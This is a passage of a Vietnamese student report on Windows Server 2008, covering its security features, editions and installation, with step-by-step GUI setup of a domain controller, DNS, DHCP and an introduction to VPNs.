chương trình phần mềm lên Terminal Server mà không cần cài đặt trên hệ thống
máy client, vì thế việc cập nhật và bảo trì phần mềm trở nên dễ dàng hơn.
Terminal Services cung cấp 2 sự khác biệt cho người quản trị và người dùng
cuối Dành cho người quản trị: cho phép quản trị có thể kết nối từ xa hệ thống quản
trị bằng việc sử dụng Remote Desktop Connection hoặc Remote Desktop.
Dành cho người dùng cuối: cho phép người dùng cuối có thể chạy các
chương trình từ Terminal Services server.
2.6. Network Access Protection
Network Access Protection (NAP) là một hệ thống chính sách thi hành
(Health Policy Enforcement) được xây dựng trong các hệ điều hành Windows
Server 2008.
Cơ chế thực thi của NAP:
+ Kiểm tra tình trạng an toàn của client.
+Giới hạn truy cập đối với các máy client không an toàn.
+NAP sẽ cập nhật những thành phần cần thiết cho các máy client không an
toàn, cho đến khi client đủ điều kiện an toàn.Cho phép client kết nối nếu client đã
thỏa điều kiện.
+NAP giúp bảo vệ hệ thống mạng từ các client.
+NAP cung cấp bộ thư viên API (Application Programming Interface), cho
phép các nhà quản trị lập trình nhằm tăng tính bảo mật cho mình
2.7. Read-Only Domain Controllers
Read-Only Domain Controller (RODC) là một kiểu Domain Controller mới
trên Windows Server 2008.Với RODC, doanh nghiệp có thể dễ dàng triển khai các
Domain Controller ở những nơi mà sự bảo mật không được đảm bảo về bảo mật.
RODC là một phần dữ liệu của Active Directory Domain Services.
Vì RODC là một phần dữ liệu của ADDS nên nó lưu trữ mọi đối tượng,
thuộc tính và các chính sách giống như domain controller, tuy nhiên mật khẩu thì bị
ngoại trừ.
SVTH: Nguyễn Trọng Sáng Page 22
2.8. Công nghệ Failover Clustering.
Clustering là công nghệ cho phép sử dụng hai hay nhiều server kết hợp với
nhau để tạo thành một cụm server để tăng cường tính ổn định trong vận hành.Nếu
server này ngưng hoạt động thì server khác trong cụm sẽ đảm nhận nhiệm vụ mà
server ngưng hoạt động đó đang thực hiện nhằm mục đích hoạt động của hệ thống
vẫn bình thường. Quá trình chuyên giao gọi là fail-over.
Những phiên bản sau hỗ trợ:
 Windows Server 2008 Enterprise
 Windows Server 2008 Datacenter
 Windows Server 2008 Itanium
2.9. Windows Firewall with Advance Security
Windows Firewall with Advance Security cho phép người quản trị có thể cấu
hình đa dạng và nâng cao để tăng cường tính bảo mật cho hệ thống.
Windows Firewall with Advance Security có những điểm mới:
Kiểm soát chặt chẽ các kết nối vào và ra trên hệ thống (inbound và outbound)
IPsec được thay thế bằng khái niệm Connection Security Rule, giúp bạn có
thể kiểm soát và quản lý các chính sách, đồng thời giám sát trên firewall. Kết hợp
với Active Directory.
Hỗ trợ đầy đủ IPv6.
3. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008
3.1. Công nghệ ảo hóa Hyper-V
Hyper-V là công nghệ ảo hóa server thế hệ mới của Microsoft, sự thay đổi
lớn nhất mà Microsoft mang lại so với phiên bản Windows Server 2003. Hyper-V
hoạt động trên nền hệ điều hành 64-bit. Với Hyper-V, người sử dụng có thể sở hữu
một nền tảng ảo hóa linh hoạt, bảo mật, tối đa hiệu suất và tiết kiệm chi phí:
Hyper-V có thể thích nghi với doanh nghiệp lớn với hàng nghìn máy tính
hoặc các doanh nghiệp nhỏ hay văn phòng chi nhánh. Hyper-V hỗ trợ bộ nhớ ảo lên
đến 64GB, đa bộ vi xử lý.
SVTH: Nguyễn Trọng Sáng Page 23
Khả năng bảo mật giống như các server vật lý. Kết hợp các cộng cụ bảo mật
Windows Firewall, Network Access Protection…do đó tính bảo mật tốt như môi
trường thật.
Hyper-V giúp khai thác tối đa hiệu suất sử dụng phần cứng server. Bằng việc
hợp nhất server, cho phép một server vật lý có thể đóng nhiều vai trò của nhiều
server. Từ đó, tiết kiệm được chi phí từ các khoảng mua server, điện, không gian và
bảo trì.
Hyper-V chỉ có thể hỗ trợ đến 32 bộ vi xử lý.
3.2. Processor Compatibility Mode
Cho phép di trú các máy ảo sang một máy chủ vật lý khác với một phiên bản
CPU khác (nhưng không phải là CPU của nhà sản xuất khác). Trước đây, để chuyển
một máy ảo Hyper-V sang một phần cứng khác, các CPU phải giống nha
u, điều đó yêu cầu người dùng thường phải mua lại phần cứng mới.
3.3. File Classification Infrastructure
FCI là một tính năng built-in cho phép các chuyên gia CNTT phân loại và
quản lý dữ liệu trong các máy chủ file. Dữ liệu có thể được phân loại với tác động
doanh nghiệp mức thấp, cao hoặc trung bình, sau đó người dùng có thể backup các
dữ liệu quan trọng nhất dễ dàng hơn và hiệu quả hơn.
3.4. Quản lý trong ỗ đĩa và file
- Cung cấp khả năng thay đổi kich thước phân vùng.
- Shadow Copy hỗ trợ ổ đĩa quang, ổ đĩa mạng.
- Distributed File System được cải tiến.
- Cải tiến Failover Clustering.
- Internet Storage Naming Server cho phép đăng ký, hủy đăng ký tập trung
và truy xuất tới các ổ đĩa cứng iSCS.
3.5. Cải tiến giao thức và mã hóa
- Hỗ trợ mã hóa 128 và 256 bit cho giao thức chứng thực Keberos.
SVTH: Nguyễn Trọng Sáng Page 24
- Hàm API mã hóa mới hỗ trợ mã hóa vòng elip và cải tiến quản lý chứng
chỉ.
- Giao thức VPN mới Secure Socket Tunneling Protocol.
- AuthIP được sử dụng trong mạng VPN Ipsec.
- Giao thức Server Message Block 2.0 cung cấp các cải tiến trong truyền
thông.
3.6. Một số tính năng khác
- Windows Deployment Services thay thế cho Automated Deployment
Services và Remote Installation Services.
- IIS 7 thay thế IIS 6, tăng cường khả năng bảo mật, cải tiến công cụ chuẩn
đoán, hỗ trợ quản lý.
- Có thành phần "Desktop Experience" cung cấp khả năng cải tiến giao diện.
4. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008
Windows Server 2008 mang đến lợi ích trong bốn lĩnh vực:Web, Ảo hóa,
Bảo mật, Nền tảng vững chắc cho các hoạt động của tổ chức
4.1. Web
Windows Server 2008 cung cấp một nền tảng đồng nhất để triển khai dịch vụ
Web nhờ tích hợp IIS7.0,ASP.NET,Windows Communication Foundation và
Microsoft Windows SharePoint Services.
Lợi ích của IIS 7.0:
- Tính năng phân tích
- Quản trị hiệu quả.
- Nâng cao tính bảo mật.
- Giảm chi phí hỗ trợ.
- Giao diện thân thiện và tiện dụng
- Hỗ trợ việc sao chép giữa các site.
- Copy dễ dàng các thiết lập của trang web giữa các máy chủ web khác nhau
mà không cần phải thiết lập gì thêm.
SVTH: Nguyễn Trọng Sáng Page 25
- Chính sách phân quyền quản trị các ứng dụng và các site rõ ràng
4.2. Ảo hóa
Phiên bản 64 bit của Windows Server 2008 được tích hợp sẵn công nghệ ảo
hóa hypervisor :
- Cho phép máy ảo tương tác trực tiếp với phần cứng máy chủ hiệu quả hơn.
- Có khả năng ảo hóa nhiều hệ điều hành khác nhau trên cùng 1 phần cứng
máy chủ sẽ làm giảm chi phí, tăng hiệu suất sử dụng phần cứng, tối ưu hóa hạ tầng,
nâng cao tính sẵn sàng của máy chủ.
- Tiết kiệm chi phí mua sắm bản quyền phần mềm.
- Tich hợp và tập trung các ứng dụng phục vụ cho việc truy cập từ xa một
cách dễ dàng bằng cách sử dụng Terminal Services.
4.3. Bảo mật
Các tính năng an ninh bao gồm: Network Access Protection, Read-Only
Domain Controller, BitLocker, Windows Firewall… cung cấp các mức bảo vệ chưa
từng có cho hệ thống mạng, dữ liệu và công việc của tổ chức.
4.4. Network Access Protection (NAP)
- NAP dùng để thiết lập chính sách mạng đối với các máy trạm khi máy trạm
đó muốn kết nối váo hệ thống mạng của tổ chức. Yêu cầu an ninh đối với máy trạm
được kết nối với hệ thống mạng:
- Đã cài đặt phầm mềm diệt virus.
- Đã cập nhật phiên bản mới.
- Đã cài đặt các bản và lỗi hệ thống hoặc đã cài đặt phần mềm firewall.
4.5. Read-Only Domain Controller (RODC)
Là một kiểu Domain Controller (DC).
- RODC chứa một bản sao các dữ liệu "chỉ đọc" của dữ liệu Active Directory
(AD).
- User không thẻ ghi trực tiếp vào RODC.
SVTH: Nguyễn Trọng Sáng Page 26
- RODC không chứa thông tin về mật khẩu trong AD, mà chỉ caching các
users được phép sử dụng ở đó.
 RODC thích hợp cho việc triển khai ở các chi nhánh, nơi có điều kiện bảo
mật kém cũng như trình độ của nhân viên IT còn hạn chế.
4.6. BitLocker
- Bảo vệ an toàn cho máy chủ, máy trạm, máy tính di động.
- Mã hóa nội dung của ổ đĩa nhằm ngăn cản
- Nâng cao khả năng bảo vệ dữ liệu: kết hợp chức năng mã hóa tập tin hệ
thống và kiểm tra tinh toàn vẹn của các thành phần khi boot.
- Toàn bộ tập tin hệ thống được mã hóa, gồm cả file swap và file hibernation.
4.7. Windows Firewall
- Ngăn chặn các lưu lượng mạng theo cấu hình và các ứng dụng dạng chạy
để bảo vệ mạng khỏi các chương trình và người dùng nguy hiểm.
- Hỗ trợ ngăn chặn các thông tin vào và ra.
- Sử dụng MMC snap-in ( Windows Firewall with Adbanced Security) để
đơn giản hóa việc cấu hình, quản trị.
5. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008
5.1. Windows Server 2008
Ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng,... khả năng
mở rộng cao cho tới 64 bộ xử lý.
5.2. Windows Server 2008 Standard Edition
Windows Server 2008 Standard là một trong những phiên bản ít tốn kém nhất
của các phiên bản khác nhau có sẵn. Windows Server 2008 Stardard hỗ trợ tới 4GB
RAM và 4 bộ vi xử lý.
Chủ yếu nhắm mục tiêu và các doanh nghiệp vừa và nhỏ. Chỉ có thể nâng cấp
lên Windows Server 2008 Standard từ Windows 2000 Server và Windows Server
2003 Standard Edition.
SVTH: Nguyễn Trọng Sáng Page 27
5.3. Windows Server 2008 Enterprise Edition
Windows Server 2008 Enterprise Edition cung cấp chức năng lớn hơn và có
khả năng mở rộng hơn so với bản tiêu chuẩn. Cũng như phiên bản Standard Edition
thì phiên bản Enterprise cũng có cả hai phiên bản 32-bit và 64-bit. Hỗ trợ 8 bộ xử lý
và lên tới 64GB bộ nhớ RAM trên hệ thống 32-bit và 2TB RAM trên hệ thống 64-
bit.
Các tính năng khác của ấn bản Doanh nghiệp bao gồm hỗ trợ Clustering đến
8 nút và Active Directory Federated Services (AD FS).
Các phiên bản Windows Server 2000, Windows 2000 Advanced Server,
Windows Server 2003 Standard Edition và Windows Server 2003 Enterprise Edition
đều có thể được nâng cấp lên Windows Server 2008 Enterprise Edition.
5.4. Windows Server 2008 Datacenter Edition
Phiên bản Datacenter đại diện cuối cùng của loạt sản phẩm máy chủ
Windows 2008 và mục tiêu là nhiệm vụ quan trọng đòi hỏi các doanh nghiệp ổn
định và mức độ thời gian hoạt động cao. Windows Server 2008 phiên bản
Datacenter là liên hệ chặt chẽ với các phần cứng cơ bản thông qua việc thực hiện
tùy chỉnh Hardware Abstraction Layer (HAL).
Windows server 2008 Datacenter cũng hỗ trợ hai phiên bản 32 bit và 64 bit.
Nó hỗ trợ 64GB bộ nhớ RAM trên nền 32 bit và lên tới 2TB RAM trên nền 64 bít.
Ngoài ra phiên bản này còn hỗ trợ tối thiểu là 8 bộ vi xử lý và tối đa là 64.
Để nâng cấp lên phiên bản này thì phải là các phiên bản Datacenter 2000 và
2003.
5.5. Windows Web Server 2008
Windows Web Server 2008 là một phiên bản của Windows Server 2008 được
thiết kế chủ yếu cho mục đích cung cấp các dịch vụ web. Nó bao gồm Internet
Information Services (IIS) 7,0 cùng với các dịch vụ liên quan như Simple Mail
Transfer Protocol (SMTP) và Telnet. Nó cũng có các phiên bản 32-bit và 64-bit,
SVTH: Nguyễn Trọng Sáng Page 28
phiên bản và hỗ trợ lên đến 4 bộ vi xử lý. RAM được giới hạn 4GB và 32GB trên
32-bit và 64-bit hệ thống tương ứng.
Windows Web Server 2008 thiếu nhiều tính năng hiện diện trong các phiên
bản khác như phân nhóm,mã hóa ổ đĩa BitLocker, Multi I/O,Windows Internet
Naming Service (WINS),Removable Storage Management và SAN Management.
6. CÀI ĐẶT WINDOWS SERVER 2008
6.1. Yêu cầu phần cứng
Phần cứng Yêu cầu tối thiểu Đề nghị
Bộ vi xử lý 1 Ghz (x86), 1,4 Ghz (x64) 2Ghz hoặc lớn hơn
RAM 512MB RAM 2GB
Dung lượng trống 15GB 40GB
Windows Server 2008 hỗ trợ cả 2 cấu trúc vi xử lý 32-bit và 64-bit. Tuy
nhiên, phiên bản mới nhất là Windows Server 2008 R2, Windows Midmarket
Server và Windows Small Business với những tính năng đa dịch vụ, các phiên bản
này chỉ hỗ trợ cấu trúc vi xử lý 64-bit.
RAM hỗ trợ tối đa cho hệ thống 32-bit là 4GB khi chạy phiên bản
Standard Edition và 64GB khi chạy phiên bản Enterprise và Datacenter. Nếu
chạy hệ thống 64-bit, bộ nhớ RAM có thể hỗ trợ lên dến 32GB và 2TB RAM cho
phiên bản Enterprise và Datacenter. Thêm vào đó, Windows Server 2008 hỗ trợ
hệ thống Itanium, tuy nhiên chip xử lí Intel Itanium 2 nhân là cần thiết.
6.2. Các cách cài đặt
Có 6 cách cài đặt Windows Server 2008
 Tự cài đặt các nâng cấp
 Cài đặt từ kịch bản
 Sử dụng Sconfig
 Visual Core Configurator 2008
 Cài đặt bằng cách sử dụng Core Configurator 2.0
SVTH: Nguyễn Trọng Sáng Page 29
 Cài đặt trực tiếp từ đĩa CD Windows Server 2008
7. NÂNG CẤP LÊN WINDOWS SERVER 2008
Để nâng cấp lên phiên bản Windows Server 2008, cần phải chạy các hệ điều
hành ở cấp độ server. Không thể nâng cấp các phiên bản Windows dành cho người
dùng như Windows XP hoặc Windows Vista lên Windows Server 2008. Để nâng
cấp lên Windows Server 2008, hệ thống của bạn phải chạy Windows Server
2003. Việc nâng cấp từ Windows NT 4.0 và Windows 2000 Server không được hỗ
trợ. Việc nâng cấp từ những phiên bản Windows Server 2003 lên phiên bản
Windows Server 2008 Server Core không được hỗ trợ. Việc nâng cấp chỉ thực hiện
được ở những phiên bản giống nhau. Khi nâng cấp lên phiên bản Windows Server
2008, mọi cấu hình thiết lập, file và các chương trình đều được giữ lại
Những phiên bản trước
Nâng cấp lên Windows
Server 2008
Microsoft Windows Server 2003 R2
Standard, Enterprise hoặc DatacenterEdition
Hỗ trợ đầy đủ
Microsoft Windows Server 2003
Service Pack 1(SP1) Standard, Enterprise hoặc
Datacenter Edition
Hỗ trợ đầy đủ
Microsoft Windows Server 2003
Service Pack 2 (SP2) Standard, Enterprise
hoặc Datacenter Edition
Hỗ trợ đầy đủ
Windows NT 4.0 Không hỗ trợ
Windows 2000 Server Không hỗ trợ
Windows XP Không hỗ trợ
Windows Vista Không hỗ trợ
Windows 7 Không hỗ trợ
SVTH: Nguyễn Trọng Sáng Page 30
8. QUÁ TRÌNH CÀI ĐẶT WINDOWS SERVER 2008
Đặt đĩa CD vào ổ đĩa, khởi động lại máy tính và bắt đầu tiến hành quá trình
cài đặt.
Language to instalk : ngôn ngữ bạn muốn hiển thị.
Time and currency format : định dạng thời gian và tiền tệ.
Keyboard or input method : định dạng bàn phím và phương thức nhập
chữ.Sau khi lựa chọn, click Next để tiếp tục cài đặt
SVTH: Nguyễn Trọng Sáng Page 31
Click Install now để bắt đầu cài đặt.
Lựa chọn phiên bản Windows Server thích hợp, ở đây chúng ta chọn phiên
bản Windows Server Standard without Hyper-V. Click Next để tiếp tục.
SVTH: Nguyễn Trọng Sáng Page 32
Tại bảng MICROSOFT PRE-RELEASE SOFTWARE LICENSE
TERMS là những điều khoản sử dụng sản phẩm của Microsoft. Đánh dấu chọn
vào I accept the license terms để chấp nhận những điều khoản đó và click
Next để tiếp tục.
SVTH: Nguyễn Trọng Sáng Page 33
Chọn Custom (advaneced) để tiến hành cài đặt tùy chọn.
Tiếp theo là chọn ổ đĩa để cài dặt Windows. Tiếp tục click Next sau khi đã
chọn ổ đĩa cài đặt.
SVTH: Nguyễn Trọng Sáng Page 34
Đợi cho đến khi hoàn tất cài đặt Windows Server 2008
Sau khi hệ thống hoàn tất cái đặt sẽ tự động đăng nhập vời tài khoản
Administrator, tuy nhiên mật khẩu đang ở trạng thái trống (blank) vì thế cần phải
thiết lập mật khẩu ở lần đăng nhập đầu tiên.
Click OK để tiến hành thay đổi mật khẩu.Sau đó đăng nhập vào bằng mật
khẩu vừa thay đổi.
Đến đây quá trình cài đặt kết thúc.
SVTH: Nguyễn Trọng Sáng Page 35
CHƯƠNG 4: DOMAIN
1. CÀI ĐẶT DOMAIN
Trên Windows Server 2008 ta vẫn cần chạy lệnh dcpromo từ nhắc lệnh
Run, tuy nhiên cần phải cài đặt Active Directory Domain Controller role, đầu
tiên bạn cài đặt role, sau đó chạy dcpromo.Vào Server ManagerRolesAdd
Roles
Xuất hiện trang Before You Begin, nhấn Next để tiếp tục.
SVTH: Nguyễn Trọng Sáng Page 36
Chọn Active Directory Domain ServicesAdd Required Features để
cài đặt thêm các tính năng này với Active Directory Server Role.
Sau khi chọn Active Directory DC Server Role, bạn sẽ thấy các thông tin về
Server Role.
Kích Install để cài đặt các file yêu cầu nhằm chạy dcpromo
SVTH: Nguyễn Trọng Sáng Page 37
Cài đặt được thực hiện thành công. Kích Close.
Trong bài này, chúng ta sẽ sử dụng 2 máy.
SVTH: Nguyễn Trọng Sáng Page 38
PC1: Là máy sử dụng Windows Server 2008.
PC2: Là máy sử dụng Client sử dụng Windows 7.
Quá trình cài đặt sẽ trải qua 2 bước chính:
Bước 1: Chỉnh Preferred DNS
- Ở bước này chúng ta sẽ chỉnh Preferred DNS về chính máy tính của chúng
ta, ở đây là ip 192.168.1.1.
Trong trường hợp giả sử chúng ta quên làm bước này, thì quá trình nâng cấp
vẫn diễn ra bình thường, và Windows sẽ tự chỉnh Preferred DNS về địa chỉ
192.168.1.1 Nhưng tốt nhất các bạn nên làm bước chỉnh này
Bước 2: Nâng cấp lên Domain Controller
- Bạn vào Start-> Chọn Run, gõ dcpromo và Enter, sau đó lần lượt làm theo
các bước sau:
SVTH: Nguyễn Trọng Sáng Page 39
Tiếp nào.
Thao tác này sẽ khởi chạy Welcome to the Active Directory Domain
Service Installation Wizard. Kích Next.
Sau đó tiếp tục nhấn Next.
Trong trang Choose a Deployment Configuration Create a new
domain in a new forest..
SVTH: Nguyễn Trọng Sáng Page 40
Trong trang Name the Forest Root Domain, nhập vào tên của miền trong
hộp nhập liệu FQDN of the forest room domain.Nhấn Next để tiếp tục.
Nhấn Next để tiếp tục.
SVTH: Nguyễn Trọng Sáng Page 41
Trong trang Set Forest Functional Level, chọn Windows Server 2008.
Nhấn Next để tiếp tục.
Trong trang Additional Domain Controller Options, Chọn DNS
server và kích Next.
SVTH: Nguyễn Trọng Sáng Page 42
Một hộp thoại sẽ xuất hiện nói răng không thể tạo đại biểu cho máy chủ DNS
này vì không thể tìm thấy vùng xác thực hoặc nó không chạy Windows DNS server.
Lý do cho điều này là vì đây là DC đầu tiên trên mạng. Nhấn Next để tiếp tục.
Để lại thư mục Database, Log Files và SYSVOL ,kích Next.
SVTH: Nguyễn Trọng Sáng Page 43
Trong Directory Service Restore Mode Administrator Password,
nhập một mật khẩu mạnh vào các hộp nhập liệu Password và Confirm
password.
Xác nhận các thông tin trên trang Summary và kích Next.
SVTH: Nguyễn Trọng Sáng Page 44
Active Directory sẽ cài đặt. Đặt một dấu kiểm vào hộp chọn Reboot on
completion để máy tính sẽ tự động khởi động lại khi cài đặt DC được hoàn tất.
SVTH: Nguyễn Trọng Sáng Page 45
2. JOIN DOMAIN
Chỉnh ip của máy Windows XP sao cho cùng địa chỉ của lớp mà ta đã gán ở
máy Server và DNS trỏ về địa chỉ ip của máy Server.
Vào Start click phải computer chọn properties. Chọn Tab Computer Name
SVTH: Nguyễn Trọng Sáng Page 46
Click vào Change để mở hộp thoại Computer Name Change. Sau đó click
chọn Domain và nhập tên Domain vào khung  Oke
SVTH: Nguyễn Trọng Sáng Page 47
Nhập user Administrator và pass.
Click OK và máy tính sẽ khởi động lại. Sau khi khởi động là máy đã được
join thành công. Vào server để tạo user và sau đó đăng nhập vào máy win xp để
kiểm tra.
SVTH: Nguyễn Trọng Sáng Page 48
CHƯƠNG 5: TRIỂN KHAI CÁC DỊCH VỤ MẠNG
1. DỊCH VỤ DNS
1.1. Giới thiệu về DNS
DNS (Domain Name System) Server là máy chủ được dùng để phân giải
domain thành địa chỉ IP và ngược lại. Về cách thức hoạt động, DNS Server lưu trữ
một cơ sở dữ liệu bao gồm các bản ghi DNS và dịch vụ lắng nghe các yêu cầu.Khi
máy client gửi yêu cầu phân giải đến, DNS Server tiến hành tra cứu trong cơ sở dữ
liệu và gửi kết quả tương ứng về máy client.
1.2. Cài đặt DNS
Vào Server Manager  Roles Add Roles.Tại bảng Select Server Roles,
chọn DNS Server
Sau đó nhấn Next để tiếp tục
Chọn Instal. Tại bảng Confirm Installation Selections xác nhận việc cài
đặt.
SVTH: Nguyễn Trọng Sáng Page 49
Chọn Close để hoàn tất cài đặt.
1.3. Cấu hình DNS
Đối với DNS Server,thông thường nên xây dựng đồng thời hai hệ thống là
DNS Server chính (Primary) và DNS Server dự phòng (Secondary) dùng chung một
cơ sở dữ liệu. Với phương pháp này,sẽ hạn chế khả năng dịch vụ DNS bị ngưng khi
có sự cố xảy ra trên hệ thống.
Vào Start Administrative Tools DNS.
Nhấp chuột phải vào Forward Lookup Zones và chọn New Zone.
SVTH: Nguyễn Trọng Sáng Page 50
Tại bản Welcome to the New Zone Wizard ,chọn Next
SVTH: Nguyễn Trọng Sáng Page 51
Tại bảng Zone Type chọn Primary zone để cấu hình DNS Server chính.
Chọn Next. Tại bảng Zone Name gõ tên domain vào, chọn Next
Tại bảng New Zone Wizard, để mặc định. Chọn Next.
Chọn Next. Tại bảng Completing the New Zone Wizard xem lại thông tin.
Sau đó chọn Finish để hoàn tất.
Nhấp chuột phải vào ReverseLookup Zones và chọn New Zone.
SVTH: Nguyễn Trọng Sáng Page 52
Tại bảng Welcome to the New Zone Wizard chọn Next.
Tại bảng Zone Type chọn Primary zone để cấu hình chức năng reverse cho
DNS Server chính.
Chọn Next.Tại bảng Reverse Lookup Zone Name chọn kiểu IP cần phân giải.
Ở đây chọn IPv4.
SVTH: Nguyễn Trọng Sáng Page 53
Chọn Next. Điền Network ID và chọn Next.
Tại bảng Zone File để mặc định. Chọn Next.
Tại bảng Dynamic Update chọn Allow both nonsecure dynamic updates.
Chọn Next và xem lại thông tin thiết lập, và sau đó chọn Finish để kết thúc.
Bổ sung các bản ghi DNS vào DNS Server
Start Administrative Tools DNS. Nhấp chuột phải vào zone và chọn
New - Gõ tên host vào mục Name, gõ địa chỉ IP vào mục IP address. Nếu muốn tạo
ra một bản ghi DNS phân giải ngược tương ứng thì đánh dấu chọn Create associated
pointer (PTR) record.
SVTH: Nguyễn Trọng Sáng Page 54
Sau đó chọn Add Host.Xuất hiện thông báo thành công.
Kiểm tra
SVTH: Nguyễn Trọng Sáng Page 55
2. DỊCH VỤ DHCP
2.1. Giới thiệu về dịch vụ DHCP
- Dịch vụ DHCP cho phép chúng ta cấp động các thông số cấu hình mạng
cho các máy trạm.(client).
- Cơ chế sử dụng các thông số mạng được cấp phát động có ưu điểm hơn so
với cơ chế khai báo tĩnh các thông số mạng như:
- Khắc phục được tình trạng đụng địa chỉ IP và giảm chi phí quản trị cho hệ
thống mạng.Giúp cho các nhà cung cấp dịch vụ (ISP) tiết kiệm được số lượng địa
chỉ IP thật (Public IP).Phù hợp cho các máy tính thường xuyên di chuyển qua lại
giữa các mạng.Kết hợp với hệ thống mạng không dây (Wireless) cung cấp các điểm
Hotspot như: nhà ga, sân bay, trường học…
2.2. Hoạt động của giao thức
Giao thức DHCP làm việc theo mô hình client/server.Khi máy client khởi
động, máy sẽ gửi broadcast gói tin DHCPDISCOVER, yêu cầu một server phục vụ
mình. Gói tin này cũng chứa địa chỉ MAC của máy client.Các máy Server trên mạng
khi nhận được gói tin yêu cầu đó, nếu còn khả năng cung cấp địa chỉ IP, đều gửi lại
cho máy Client gói tin DHCPOFFER, đề nghị cho thuê một địa chỉ IP trong một
khoản thời gian nhất định, kèm theo là một subnet mask và địa chỉ của Server.
2.3. Cài đặt DHCP trên windows server 2008
Vào Server Manger  Roles Add Roles.
SVTH: Nguyễn Trọng Sáng Page 56
Nhấn Nexttrong mục Roles chọn “DHCP Server”. Nhấn Next.
Trong bảng này giới thiệu về DHCP và các điểm cần lưu ý Things to Note.
Tiếp tục nhấn Next.
Chọn card mạng sử dụng dịch vụ này ở đây chúng ta chỉ có một card mạng
nên tiếp tục nhấn Next nhấn Next.
Trong mục “Parent Domain” điền tên domain và điền IP DNS server ở mục
“Preferred DNS…” và nhấn Validate để kiểm tra và xác nhận tồn tại và tiếp tục
nhấn Next.
SVTH: Nguyễn Trọng Sáng Page 57
Tiếp tục nhấn next
Tiếp tục nhấn Next.
SVTH: Nguyễn Trọng Sáng Page 58
Tiếp tục bấm Next. Trong Bảng Configure DHCPv6 Stateless Mode ta chọn
Disable DHCPv6 stateless mode for this server và bấm Next
Chọn user có quyền AuthorNext
SVTH: Nguyễn Trọng Sáng Page 59
Xác nhận lại thông tin trước khi cài đặt dịch vụ DHCP. Bấm Install để cài đặt
- Cài đặt Role hoàn tất, và nhấn Close
2.4. Cấu hình DHCP
2.4.1. Tạo Scop
Vào Administrative ToolsDHCP.
Nhấn chuột phải vào IPv4 và New Scope.
Hộp thoại New Scope hiện ra và Next.
SVTH: Nguyễn Trọng Sáng Page 60
Hộp thoại Scope Name vàĐiền tên của scope vào mục Name và nhấn Next
Hộp thoại IP Address Range,điền thông số range IP cấp phát và subnet
mask Next.
SVTH: Nguyễn Trọng Sáng Page 61
Hộp thoại Lease Duration: thời gian thuê địa chỉ IP mặc định là 8 ngày
Hộp thoại Configuration DHCP Options yêu cầu chúng ta cấu hình thông
số dịch vụ của scope ngay bây giờ hoặc để sau. Ở đây ta chọn No, I will configure
these option later và nhấn Next.
SVTH: Nguyễn Trọng Sáng Page 62
Bấm Fisnish để kết thúc
2.4.2. Thay đổi options của Scope
- Xổ scope cần thao tác và chuột phải scope optionsConfigure Options.
- Hộp thoại Scope Options hiện ra, ở trường Available Options là những
thuộc tính sẵn sàng màchúng ta có thể thay đổi với những thuộc tính đã stick là
những thuộc tính đã được cấu hìnhtrước đó.
- Chúng ta sẽ thử cấu hình default gateway lại cho scope này, chọn Router.
Router Options hiện ta cho chúng ta thêm xóa và edit với những thuộc tính khác
cũng vậy
SVTH: Nguyễn Trọng Sáng Page 63
Kiểm tra
3. DỊCH VỤ VPN
Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có
xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay
toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm
được được chi phí và thời gian
SVTH: Nguyễn Trọng Sáng Page 64
Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng
chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn
phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.
3.1. Khái niệm.
Mạng riêng ảo hay VPN (Virtual Private Network) là một mạng dành riêng
để kết nối các máy tính lại với nhau thông qua mạng Internet công cộng. Những
máy tính tham gia mạng riêng ảo sẽ "nhìn thấy nhau" như trong một mạng nội bộ -
LAN (Local Area Network).
Internet là một môi trường công cộng, việc chia sẻ dữ liệu có tính riêng tư
thông qua Internet là cực kỳ nguy hiểm vì những dữ liệu đó có thể dễ dàng bị rò rỉ,
bị ăn cắp... Mạng riêng ảo là giao thức trợ giúp việc kết nối các máy tính lại với
nhau thông qua một kênh truyền dẫn dữ liệu (tunel) riêng đã được mã hóa.
Mạng riêng ảo giúp bảo vệ dữ liệu trong khi chúng được truyền trên Internet
vì vậy mạng riêng ảo thường được ứng dụng trong các trường hợp sau:
Làm việc từ xa: Truy cập từ xa thông qua Internet vào mạng của công ty để
chia sẻ dữ liệu cũng như thực thi các ứng dụng nội bộ.
Kết nối nhiều mạng với nhau (Site-to-Site): Nếu công ty có nhiều văn phòng,
việc kết nối các mạng lại với nhau thành một mạng thống nhất sẽ đem lại hiệu quả
ấn tượng trong việc quản lý & chia sẻ thông tin.
SVTH: Nguyễn Trọng Sáng Page 65
Tạo phiên làm việc an toàn: Mạng riêng ảo là giải pháp tốt & với chi phí thấp
cho một số công việc đòi hỏi tính bảo mật cao như quản trị máy chủ, website, cơ sở
dữ liệu...
Nếu thường xuyên làm việc trên Internet & thông tin là tài sản vô giá, bạn
nên ứng dụng mạng riêng ảo vào công việc của mình.
3.2. Các loại VPN.
Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và
VPN điểm-nối-điểm (site-to-site)
VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một
kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân
viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công
ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh
nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho
những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó,
người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm
VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép
các kết nối an toàn, có mật mã.
Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại
gia hoặc nhân viên di động là loại VPN truy cập từ xa).
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối
nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này
có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có
